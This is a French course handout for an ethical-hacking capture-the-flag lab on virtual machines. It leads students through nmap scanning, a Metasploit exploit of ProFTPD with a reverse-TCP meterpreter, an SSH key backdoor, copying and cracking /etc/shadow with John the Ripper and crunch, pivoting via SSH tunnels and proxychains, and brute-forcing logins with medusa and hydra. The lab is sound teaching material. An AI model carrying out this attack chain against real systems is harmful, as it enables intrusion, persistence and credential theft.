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 ORGANISATION 

 

1 Signification des icônes 
 

  Indication ou recommandation importante.  Le non respect de ces 
recommandations peut nuire à la bonne exécution des commandes.   
  

     Complément d’information 
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 ATELIER DE HACKING ÉTHIQUE 

 

 

 

1 Introduction 

Cette séance de hacking éthique se présente sous la forme d’un challenge de sécurité informatique 
de type « Capture le Drapeau »  (CTF pour Capture the Flag). En l’occurrence le drapeau à capturer 
est le mot de passe de l’administrateur de l’application web « tikiwiki » 

2 Plan du TD 

- Environnement de travail 

- Étape 1 : Serveur FTP 

- Étape2 

- Étape 3 

- Étape 4 

3 Environnement de travail 
 

3.1 Mise en place 

Pour ce premier exercice pratique, vous utilisez 5 machines virtuelles. Votre poste d’attaque sera la 
VM Kali. Les différentes VM ne sont pas toutes positionnées sur le même réseau IP.  Dans le 
schéma suivant vous trouverez un aperçu du réseau sur lequel vous allez travailler.  Toutes les 
machines ne sont pas décrites ce sera à vous de les découvrir. 
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La machine de l’attaquant est la VM Kali située sur le réseau 10.3.100.0/24. Vous pouvez 
également constater  que deux réseaux au moins sont présents  ainsi que deux machines 
supplémentaires : un firewall qui interconnecte les différents réseaux  et un serveur FTP possédant 
l’adresse 192.168.1.21. 

 

3.2 Lancement des VM 

 

 Lancez l’interface de Virtualbox. 

 Démarrez les machines virtuelles suivantes :  Kali2018, FTP, DMZ, mysql et FW. 

 Connectez-vous sur la VM Kali en tant que root, le mot de passe est toor. 

 

4 Étape1 : Serveur FTP  

4.1 en route ! 

Le point d’entrée de votre attaque est le serveur FTP. 
 
 
 
 Vérifier que le réseau est en place et que votre route par défaut est bien celle du Firewall.  
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Sinon ajoutez cette route 

 sudo route add   -net  @reseau    netmask 255.255.255.0  gw   @routeur     dev   

nom_interface 
 
 

 

4.2 Coup de Balai 

 
 Lancez un scan  sans options sur la cible avec la commande :    nmap 192.168.1.21 

 

 
 
Votre scan a échoué  vraisemblablement à cause de la présence du firewall. 
 
 Que vous conseille de faire nmap ? 
 
 

 
 

 
 

 
 Le manuel nmap vous décrit ce que fait l’option –Pn recommandée par nmap. 

 

Xavier
Machine à écrire
Il conseille de faire avec l'option -Pn
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 Cette option –Pn est plus furtive dans le sens où Nmap n’utilise alors pas de ICMP   
echo-request.  
 

 

 
 

Cela se passe beaucoup mieux. 
 

 En plus du service FTP attendu, le service ssh est également disponible. 
 
 Comme l’indique la copie d’écran suivante  l’option –sV  vous permet d’obtenir des 
informations très utiles pour la suite. 
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 Lancez maintenant un dernier  scan  comme suit :          nmap –sV –Pn 192.168.1.21 

 
 
 Quelles informations supplémentaires avez-vous ?     (essayez d’être exhaustif) 

 
Quelle est le nom et la version du logiciel de transfert de fichiers ? :  

 
 
Quelle est le nom et la version du logiciel Secure SHell ? : 
 
 
Quelle est la distribution du système d’exploitation et sa version ?:  
 

 
 

 

4.3 Recherche vulnérabilité désespérément 

 Lancer firefox et rendez vous sur le site nvd.nist.gov, Cliquez l’onglet « search » 
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 Choisissez le bouton CVE 

 

 
 

 

 Dans l’onglet de recherche saisissez le nom du logiciel FTP suivi du n° de version 
trouvés précédemment 
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 Quelle est la référence de la vulnérabilité dont la sévérité est la plus forte ? 

 

 

 

 

 
 

 

 Cliquez le lien décrivant la vulnérabilité la plus forte pour avoir tous les détails. 

 

 La version proftpd du serveur scanné 
avec nmap est-elle vulnérable ? 

 

OUI  

NON  
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 Quel est le type de cette vulnérabilité ? 

 

 

 Quelle fonction du programme pose problème ? 

 

 

 IAC signifie Interpret As Command 

 

 

 

 Est-elle exploitable à distance par le réseau ? 

 

Oui  

Non  
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 une authentification est-elle requise ? 

 

Oui  

Non  

 

 

 L’exploit est-il disponible sur le site nvd ? 

 

Oui  

Non  

4.4 Mais où est passé l’exploit ? 

 Visitez le site exploit-db : www.exploit–db.com, et sur la page d’accueil du site, dans  
search saisissez  proftpd 1.3.3 : 

 
 

 Depuis quelle date le code d’exploitation linux de votre vulnérabilité est-il dispo et qui en 
est l’auteur ? 

 

 

 

Cliquez 
maintenant sur 
Filters  

Puis advanced 
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 Saisissez la référence de la vulnérabilité  dans le champ CVE  

 

 
 

4.5 Exploitation 

 Lancez metasploit dans un terminal comme suit : 
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 Soyez patients. 

 
 

 

 Lancez la commande search proftpd : 

 

 
Plusieurs résultats apparaissent. 

 Quel exploit allez-vous choisir ? 

 

 

 

 

 Lancez la commande use suivi du chemin complet de l’exploit que vous souhaitez utiliser 
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 Notez le changement de d’invite (prompt) 

 

 consultez les options disponibles : 

 
 

 Quelle est l’adresse de la machine cible ? saisissez là : 
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 Avec la commande show payloads consultez les charges utiles possibles 

Les charges utiles possibles sont nombreuses. Nous allons choisir l’interpréteur de 
commandes linux( meterpreter) qui offre beaucoup d’opportunités, en mode reverse TCP 
c.a.d que la cible va initier la connexion vers l’attaquant. 

 

 

 D’après-vous quelle raison(s) particulière(s) pourrait-il y avoir à choisir le mode 
reverseTCP ? 

 

 

 

 

 

 lancez la commande set payload suivie de la charge utile comme suit : 

 La touche  de complément de saisie « TAB » est très utile pour abréger les temps de saisie. 
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 Affichez les options de saisie de la charge utile : 

 
 Saisissez l’adresse IP de l’attaquant qui va attendre la connexion venant de la cible avec la 
commande :  set LHOST ……..   

 

   puis modifiez le port d’écoute avec la commande : set LPORT 5555 
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 Démarrez une session d’écoute avec wireshark en choisissant la bonne interface. 

 

 Lancez l’attaque avec la commande exploit 

 
 Vous êtes connecté sur la machine cible. Faire un help pour voir les commandes possibles. 

 Observez sur votre capture wireshark la session meterpreter. 

 Vérifiez que vous êtes bien positionné sur le serveur FTP cible avec la commande ifconfig 

 Avec la commande getuid vérifiez qui vous êtes sur ce serveur. 

Je suis connecté en tant que ….(complétez) 

 

 

 

 

4.6 Camp de base 

Vous allez établir votre camp de base sur le serveur ftp que vous venez d’intruser. 

Pour ce faire vous aller exploiter deux choses : 

 1- Vous êtes Root 

 2- Un serveur ssh tourne sur la machine et traverse un hypothétique firewall (souvenez-vous       
de votre recherche nmap)  

4.6.1 Porte dérobée 

Vous êtes root sur votre machine d’attaquant (pour rappel kali). Vous allez créer un biclé rsa 
avec la commande ssh idoine et pour finir copier la clé publique générée dans le répertoire 
/root/.ssh de la machine cible. Ainsi vous aurez ouvert une porte dérobée ssh sur le serveur 
ftp.  
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 Génerez le biclé ssh comme-suit : (si le répertoire .ssh n’existe pas, créez le)  

  Le mot de passe à saisir est ienac 

 

 Créez le fichier authorized_keys  (   respectez l’orthographe et le répertoire dans lequel 
vous créez le fichier) comme suit  

 

 
 

 Téléchargez le fichier authorized_keys sur la machine cible grâce à la commande upload 
de meterpreter comme suit : 
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 Vérifiez que la porte dérobée est en place en ouvrant  une connexion ssh en tant que root 
sur la cible : 

  Vous devez saisir le mot de passe. 

 

 
 Terminez la connection ssh en tapant la commande : exit. 

 

4.6.2 On craque ! 

 

4.6.2.1 John the ripper 

 Sur Kali  faire :  cd /root/john    (si le répertoire john n’existe pas créez le)  

 A l’aide de la commande scp copier les fichiers /etc/passwd et /etc/shadow de la cible vers 
votre répertoire /root/john 
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 Avec la commande unshadow ( /usr/sbin/unshadow ) fusionnez les deux fichiers en un seul 
baptisé mdp 

 
 

 

 

 visionnez ce fichier mdp. 

A la fin de mdp on peut voir que le système cible est accessible aux trois utilisateurs que sont 

Pierre Lamaison 

Jacques Latuile 

et Gilles Duparc 
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 Lancez la commande /usr/sbin/john      /root/john/mdp  

 

  Il sera Inutile d’attendre trop longtemps la méthode force brute (mode single) ne 
donnera rien.  

 
 Vous pouvez arrêter avec un Ctrl C. 

 

Après une recherche ( entièrement imaginaire ) sur internet l’attaquant  trouve les informations 
suivantes : 

Pierre Lamaison est un fier papa qui publie sur son compte de réseau social les photos du petit Theo 
né le 26 février dernier. 

Jacques Latuile est un passionné de littérature et son roman favori est « Voyage au bout de la nuit » 
de Louis-Ferdinand Céline. Sur son blog de critiques littéraires Gilles témoigne d’une passion 
particulière pour le personnage principal Ferdinand Bardamu. 

Gilles Duparc pour sa part est un collectionneur. Ses figurines favorites sont celle du space opéra 
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Star Wars (la première saga). Il est du côté de l’alliance rebelle et se voit, affirme-t-il dans une 
vidéo postée dans Daily Motion, piloter un bolide inter-galactique aux côtés de Luke Skywalker et 
Han Solo. 

 

Nous allons donc procéder à une recherche par dictionnaire 

 Créez un premier fichier dictionnaire dans le répertoire /root/john que vous appellerez 
mondico.  Ajoutez dans ce fichier les mots de passe (un par ligne) que vous aurez déduits des 
informations concernant Lamaison données ci-avant. 

  CONSEILS : Votre fichier de dictionnaire ne doit pas être trop volumineux au risque 
d’avoir à attendre des plombes le résultat. Vous pouvez si vous voulez créer un dictionnaire par 
utilisateur à craquer : dico-latuile, dico-lamaison et dico-duparc et utiliser l’option --user de John    
(--user=lamaison ) suivi de l’option wordlist (--wordlist =/root/john/dico-lamaison) 

Dans tous les cas à la suite d’une recherche infructueuse, il est inutile de laisser dans le fichier 
dictionnaire les mots de passe candidats qui ont échoué. 

Les mots de passe de Latuile et Duparc sont probablement plus faciles à trouver.  Nous verrons plus 
tard comment trouver celui de Lamaison. 

 

 
 Lancez la commande : 

/usr/sbin/john    --rules  --wordlist=/root/john/mondico    /root/john/mdp 

 

 l’option --rules permet d’utiliser les règles de « traitement » (ou trituration) des mots de 
passe du dictionnaire. Elles sont décrites dans le fichier /etc/john/john.conf.  Notamment, à la 
rubrique « Wordlist mode rules » la règle « Toggle case everywhere » permet  de  combiner des 
lettres majuscules  dans le mot de passe. 
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 Visionnez le(s) résultat(s) trouvé(s) avec la commande : 

/usr/sbin/john - -show /root/john/mdp 

 
 

 Un mot de passé a été trouvé….. 

4.6.2.2 Crunch et john 

Pour trouver le mot de passe de Lamaison, on va utiliser crunch. Partons sur la base tout à fait 
arbitraire que le mot  de passe que nous recherchons est composé de  8 caractères. 

Oublions le jeu de caractères lamaison vu en cours et utilisons l’option -p. 

 Allez dans le répertoire /usr/share/crunch 

 Lancez la commande crunch afin de créer le fichier de mots de passe test2 contenant des 
mots de passe de 8 caractères longs avec l’option -p et le jeu 0226theo. 

 respecter la séquence des options comme suit : 

 

 
le contenu ressemble à cela : 
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  Lancer cette commande 

/usr/sbin/john    -rules  -user=lamaison   -wordlist=./test2 /root/john/mdp 

 

  Cela prend 3 à 4 minutes 

 

 
 

4.6.3 on balaye ! 

Nmap n’est pas installé sur le serveur ftp. Le paquetage debian idoine se trouve dans le répertoire 
d’accueil /root de votre machine pirate. 

 copier le paquetage sur la machine cible ftp à l’aide de la commande scp  

 
 

 Connectez-vous ensuite sur la cible en ssh et installez nmap grâce à la commande dpkg 
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 Toujours sur le serveur ftp lancez un scan de découverte du réseau auquel appartient le 
serveur ftp : 

 

 L’option -sP  (ou -sn suivant les versions) est une option de nmap qui assure la découverte 

de hôtes avec des ping icmp sans lancer de scan de ports. 

 

L’option -n neutralise la découverte utilisant le protocole DNS 

 Quelles sont les adresses trouvées ? 

 

 

 

 Lancez maintenant un scan de port sur la première machine trouvée que nous baptiserons 
machine1 
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 Quels services tournent sur machine1 ? 

 

 

 

Avant de passer à la suite il faut essayer de tester si le serveur ftp peut voir un autre réseau dans la 
plage 192.168.0.0 

 Pourquoi dans cette découverte est-il vivement recommandé de ne pas utiliser  l’option  -sP ?  

 

 

 

 En quoi les options -sS ou -PS sont-elles plus indiquées ? 

 

 

 

 lancez la commande  

nmap   -v   -PS25,80,445,139,3306     -n    192.168.2-20.1-20 

 On se limite au 19 réseaux suivants, à 20 machines par réseau et 5 ports par machine. 

 
 Le scan ne donne rien que concluez-vous ? 
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5 Etape 2 : Premier Pivot 

Nous venons de voir que la machine 192.168.1.1 est accessible via ssh. Vous allez essayer de vous 
connecter sur cette machine. Pour ce faire, il faudra utiliser le craqueur de mots de passe réseau 
médusa. 

 

 Problème : Hydra n’est pas installé sur le serveur ftp. Une solution serait de faire comme 
précédemment : le copier puis l’installer. Une autre solution possible et moins coûteuse  

serait de ……(complétez) 
 

 

5.1 Tunnel ssh 

 Faut-il utiliser une : 

 Redirection locale 

 Redirection distante 

 
 Argumentez votre réponse 

 

 

 

 

 Avant d’écrire la commande complétez les cases suivantes  

 Quel est le port local que vous allez choisir ? 
 

 

 

 Quel est l’adresse de la machine distante ? 
 

 

 

 Quel est est le numéro de port distant ? 
 

 

 

 Quel est l’adresse du serveur ssh  ? 
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 Écrire la commande à lancer (voir la remarque plus bas)  

 

 
 

 REMARQUE : Il est recommandé d’utiliser les options –N et –f.  –N permet en effet d’éviter 
de lancer un shell de commande et –f conserve le processus en tâche de fond. 

Le login à utiliser est root : –l root . 

 

 Lancez votre commande ssh : 

 
Un netstat -an vous confirme que votre tunnel est créé. 

 

5.2 Medusa 

Vous allez alimenter un fichier de mots de passe pour medusa avec les mdp trouvés précédemment 
sur le serveur ftp et avec un peu de chance  un des utilisateurs aura peut-être un compte sur 
machine1 avec le même authentifiant. 

 Sur kali, allez dans /root/medusa et ouvrir le fichier user-pass déjà présent 

 
 Complétez-le avec les mdp trouvés juste à la suite des deux points de droite ( mettre les 
bons mdp en face des bons users  ) 

 
 

 Avec quelle valeur devez-vous compléter l’option –h (adresse de la cible) ? 
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 Avec quelle valeur devez-vous compléter l’option –n ( n° de port) ? 

 

 

 Lancez la commande medusa ( /usr/bin/medusa ) avec les  bons paramètres 

 L’option -n permet de spécifier un port lorsque le port du service indiqué est différent du 
port standard. L’option –M permet de préciser le protocole visé 
 
 

Ecrivez votre commande COMPLÈTE ici : 

/usr/bin/medusa  –h ………………..     -n …………  -C /root/medusa/user-pass –M ssh    –v 6 

 

 

 

 L’option -n permet de spécifier un port lorsque le port du service indiqué est différent du 
port standard. L’option –M permet de préciser le protocole visé 

Very well done chap, vous avez un accès vers machine1 ! 

 

 En consultant sur kali le fichier /etc/ssh/sshd_config ou en faisant man sshd_config 
expliquer comment un administrateur peut rendre caduque les scans  ssh de medusa et 
consorts ? 
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6 Etape 3 : Second  Pivot 

Vous avez établi un premier pivot sur le serveur ftp, le camp de base. Vous allez maintenant utiliser 
machine1 comme second pivot.  Mais vers quoi ? 

La première des choses à faire est d’effectuer un balayage à partir de machine1 pour voir si cette 
machine n’est pas, elle, autorisée vers d’autres réseaux. 

Comment allez-vous procéder ? 

Vous n’avez pas les privilèges root sur machine1 donc il n’est pas raisonnable de penser que vous 
allez pouvoir installer nmap. 

Il faut se dire maintenant que Proxychains est votre ami…… 

 

 

 

 

6.1 du balai 

A partir du serveur FTP vous avez pu découvrir sur le réseau 192.168.1.0 la machine 192.168.1.1. 
A partir de ce même serveur FTP la découverte d’autres réseau en 192.168. ?.0 n’a rien donné. 

L’idée est maintenant de lancer un nouveau balayage à partir de 192.168.1.1 pour essayer de 
découvrir d’autres réseaux.  

Inutile de faire un scan ICMP il y a toutes les chances que le firewall filtre le trafic icmp. Nous 
allons faire un scan furtif avec l’option -PN (scan de ports furtif) avec l’option -n  pour éviter la 
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résolution DNS 

Commençons par le réseau immédiatement consécutif à 192.168.1.0 c.a.d  le réseau 192.168.2.0, et 
toujours dans l’esprit de raccourcir  le délai limitons nous à 10 machines avec un nombre réduit de 
ports par machine. 

 Dans /root/proxychains2, lancez : 

proxychains nmap -v  -sT  -PN   -n  192.168.2.1-10    -p   25-80 

 
On voit sur le schéma précédent qu’une machine a répondu. 

 

 

 Lancez 

proxychains nmap -v -sT -PN -n 192.168.2.1/32 
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 A quel service correspond le port 3306 ? 

 

 

 

 

6.2 Hydra 

Nous pourrions utiliser metasploit mais nous allons utiliser hydra pour trouver le mot de passe de 
l’administrateur de la base de données 

 dans /root/hydra/user-pass ajoutez les lignes : 

root : 

root :root 

mysql : 

mysql :mysql 

 effacez les autres lignes 

 

 Lancez hydra comme-suit 
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 L’utilisateur  root du moteur de Base de Données n’a pas de mot de passe. 

 

7 Etape 4 : à la recherche du Graal 

 

 Avec proxychains connectez-vous à la base de données distante. 

 
 

 

 

Une fois connecté sur le moteur de  bases en tant que root, le reste est un jeux d’enfant, il suffit de 
connaître la syntaxe mysql : 
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Bingo, voilà le travail…… 
 

 


